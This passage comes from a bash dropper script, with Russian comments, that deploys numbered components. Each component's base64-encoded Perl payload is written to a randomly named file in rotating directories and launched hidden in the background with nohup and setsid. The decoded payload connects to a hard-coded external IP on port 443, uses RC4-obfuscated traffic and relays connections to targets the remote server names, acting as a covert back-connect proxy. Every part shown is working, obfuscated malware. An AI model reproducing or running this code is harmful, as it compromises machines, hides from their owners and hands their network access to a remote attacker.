ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #18 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #18 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 19 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #19 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #19 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 20 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs 